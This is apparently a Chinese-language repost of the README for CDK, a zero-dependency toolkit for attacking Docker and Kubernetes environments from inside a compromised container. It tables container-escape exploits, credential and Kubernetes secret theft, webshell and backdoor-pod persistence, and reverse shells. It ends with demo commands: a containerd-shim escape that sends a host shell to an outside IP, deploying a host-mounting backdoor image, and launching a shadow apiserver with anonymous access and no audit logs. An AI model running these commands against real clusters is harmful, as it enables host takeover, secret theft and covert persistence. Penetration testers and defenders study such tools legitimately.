项目名称:CDK
项目作者:CDK-Team
项目地址:
https://github.com/cdk-team/CDK/
CDK是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。
场景介绍
伴随着容器技术的快速发展,容器安全问题也逐渐成为企业所关注的话题。针对容器场景的渗透测试一方面要求攻击者理解对Docker/K8s以及云服务的原理、特性以及漏洞利用方式;另一方面,攻击者通过业务漏洞(如WEB RCE)攻入容器后往往面对的是一个缩减后的容器环境,缺乏常用的linux命令依赖导致渗透效率不佳。
CDK为安全测试人员提供了golang原生的容器环境渗透能力,主要有以下几点:
功能
CDK包括三个功能模块
用于本地信息收集,寻找可用的逃逸点,使用 --full
参数时会包含本地文件扫描。
类别 | 检测点 | 已支持 | 详细文档 |
---|---|---|---|
本地信息收集 | OS基本信息 | ✔ | link |
本地信息收集 | 可用的Capabilities | ✔ | link |
本地信息收集 | 可用的Linux命令 | ✔ | link |
本地信息收集 | 挂载情况 | ✔ | link |
本地信息收集 | 网络namespace隔离情况 | ✔ | link |
本地信息收集 | 环境变量 | ✔ | link |
本地信息收集 | 敏感服务 | ✔ | link |
本地信息收集 | 敏感目录及文件 | ✔ | link |
本地信息收集 | kube-proxy边界绕过(CVE-2020-8558) | ✔ | link |
网络探测 | K8s Api-server信息 | ✔ | link |
网络探测 | K8s Service-account信息 | ✔ | link |
网络探测 | 云厂商Metadata API | ✔ | link |
类别 | 功能 | 调用名 | 已支持 | 文档 |
---|---|---|---|---|
容器逃逸 | docker-runc CVE-2019-5736 | runc-pwn | ✔ | |
容器逃逸 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link |
容器逃逸 | docker.sock逃逸PoC(docker-in-docker) | docker-sock-check | ✔ | link |
容器逃逸 | docker.sock部署恶意镜像 | docker-sock-deploy | ✔ | link |
容器逃逸 | 挂载逃逸(特权容器) | mount-disk | ✔ | link |
容器逃逸 | Cgroup逃逸(特权容器) | mount-cgroup | ✔ | link |
容器逃逸 | Procfs目录挂载逃逸 | mount-procfs | ✔ | link |
容器逃逸 | Ptrace逃逸PoC | check-ptrace | ✔ | link |
容器逃逸 | lxcfs cgroup错误配置逃逸 | lxcfs-rw | ✔ | link |
容器逃逸 | 重写Cgroup以访问设备 | rewrite-cgroup-devices | ✔ | link |
网络探测 | K8s组件探测 | service-probe | ✔ | link |
信息收集 | 检查和获取Istio元信息 | istio-check | ✔ | link |
远程控制 | 反弹shell | reverse-shell | ✔ | link |
信息窃取 | 扫描AK及API认证凭据 | ak-leakage | ✔ | link |
信息窃取 | 窃取K8s Secrets | k8s-secret-dump | ✔ | link |
信息窃取 | 窃取K8s Config | k8s-configmap-dump | ✔ | link |
持久化 | 部署WebShell | webshell-deploy | ✔ | link |
持久化 | 部署后门Pod | k8s-backdoor-daemonset | ✔ | link |
持久化 | 部署影子K8s api-server | k8s-shadow-apiserver | ✔ | link |
持久化 | K8s MITM攻击(CVE-2020-8554) | k8s-mitm-clusterip | ✔ | link |
持久化 | 部署K8s CronJob | k8s-cronjob | ✔ | link |
还原部分常用的Linux命令,解决容器环境缩减的问题。
子命令 | 描述 | 已支持 | 文档 |
---|---|---|---|
nc | TCP隧道 | ✔ | link |
ps | 获取进程信息 | ✔ | link |
ifconfig | 获取网络信息 | ✔ | link |
vi | 文本编辑 | ✔ | link |
kcurl | 发包到K8s api-server | ✔ | link |
dcurl | 发包到Docker HTTP API | ||
ucurl | 发包到Docker Unix Socket | ✔ | link |
rcurl | 发包到Docker Registry API | ||
probe | IP/端口扫描 | ✔ | link |
kproxy | kubectl代理转发 |
使用方法
下载可执行文件投递到已攻入的容器内部开始测试:
命令行参数:
Container DucK
Zero-dependency docker/k8s penetration toolkit by <i@cdxy.me>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weekness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/Xyntax/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl (get|post) <url> <data> Make request to K8s api-server.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
工具演示
cdk evaluate --full
通过共享的net namespace向宿主机的containerd-shim进程发起请求,利用其特性反弹宿主机的shell到远端服务器。
./cdk run shim-pwn 47.104.151.168 111
通过本地docker.sock向控制宿主机的docker进程,拉取指定的后门镜像并运行,运行过程中镜像将宿主机的根目录/
挂载到容器内部的/host
目录下,便于通过后门容器修改宿主机本地文件(如crontab)来完成逃逸。
# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest
# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd
向K8s集群中部署一个shadow apiserver,该apiserver具有和集群中现存的apiserver一致的功能,同时开启了全部K8s管理权限,接受匿名请求且不保存审计日志。便于攻击者无痕迹的管理整个集群以及下发后续渗透行动。
./cdk run k8s-shadow-apiserver default